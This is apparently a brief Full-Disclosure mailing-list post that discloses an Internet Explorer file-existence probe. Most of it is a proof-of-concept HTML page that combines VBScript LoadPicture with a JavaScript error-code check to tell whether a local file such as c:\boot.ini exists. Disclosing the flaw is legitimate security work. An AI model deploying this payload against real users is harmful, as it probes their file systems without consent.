[Full-Disclosure] (no subject)

[Jelmer]

similar to   http://www.securityfocus.com/archive/1/248143 http://www.greymagic.com/adv/gm008-ie/ http://www.guninski.com/wmp-desc.html   no biggie     --- snip --   <form >     <input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit"> </form>   <script language="vbscript">         Sub loadIt(filename)         LoadPicture(filename)     End Sub   </script>   <script language="_javascript_">         function doIt(form) {             try {             loadIt(form.filename.value);         } catch(e) {             result = e.number;         }                 if (result != -2146827856) {             alert('file exists');         } else {             alert('file does not exist');         }     } </script>   --- snip --